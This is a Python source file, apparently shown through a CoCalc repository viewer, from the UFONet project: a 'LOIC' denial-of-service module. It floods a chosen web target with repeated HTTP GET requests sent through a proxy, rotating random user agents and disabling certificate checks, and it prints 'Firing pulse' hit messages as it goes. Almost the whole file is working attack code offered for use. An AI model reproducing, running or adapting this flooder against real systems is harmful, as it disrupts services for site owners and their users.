Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/loic.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random
13
try:
14
import requests
15
from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
16
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
17
except:
18
print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
19
sys.exit(2)
20
21
# UFONet DoS Web LOIC (Low Orbit Ion Cannon)
22
def ionize(self, target, rounds, proxy):
23
n=0
24
try:
25
proxyD = {
26
"http" : proxy,
27
}
28
for i in range(0, int(rounds)):
29
n=n+1
30
self.user_agent = random.choice(self.agents).strip()
31
headers = {'User-Agent': str(self.user_agent)}
32
try:
33
r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
34
print("[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]")
35
except:
36
print("[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]")
37
except:
38
print("[Error] [AI] [LOIC] Failing to engage... -> Is still target online? -> [Checking!]")
39
40
class LOIC(object):
41
def __init__(self):
42
self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
43
self.agents = []
44
f = open(self.agents_file)
45
agents = f.readlines()
46
f.close()
47
for agent in agents:
48
self.agents.append(agent)
49
50
def attacking(self, target, rounds, proxy):
51
print("[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]")
52
ionize(self, target, rounds, proxy) # attack with LOIC using threading
53
54